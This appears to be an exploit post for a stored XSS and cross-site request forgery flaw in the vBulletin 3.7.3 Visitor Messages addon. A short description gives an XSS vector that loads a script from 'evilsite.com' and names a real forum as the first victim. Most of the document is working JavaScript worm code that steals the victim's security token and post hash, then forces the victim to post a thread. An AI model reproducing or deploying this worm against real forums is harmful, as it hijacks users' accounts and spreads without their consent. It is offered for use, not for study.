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/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF
- Description = A critical vulnerability exists in the new vBulletin 3.7.3
software which comes included
+ with the visitor messages addon (a clone of a social network
wall/comment
area).
- When posting XSS, the data is run through htmlentities(); before being
displayed
+ to the general public/forum members. However, when posting a new
message,
- a new notification is sent to the commentee. The commenter posts a XSS
vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits
usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is
also readily available
+ and I have included an example worm that makes the user post a new
thread
with your own
- specified subject and message.
* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which
was the first subject
* of the attack method.
* ----------------------------- */
function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}
function getAXAH(url){
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);
function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);
var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);
var subject = 'subject text';
var message = 'message text';
postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&
f=5',
'subject=' + subject + '&message=' + message +
'&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok +
'&f=5&do=postthread&posthash=' + postok +
'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signatu
re=1&parseurl=1&emailupdate=0&polloptions=4');
}
}
}
}
function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function()
{processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);
function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
}
}
}
}
getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=
5'<http://digitalgangster.com/4um/newthread.php?do=newthread&f=5%2
7>
);
document.write('<iframe src="
http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">')
;
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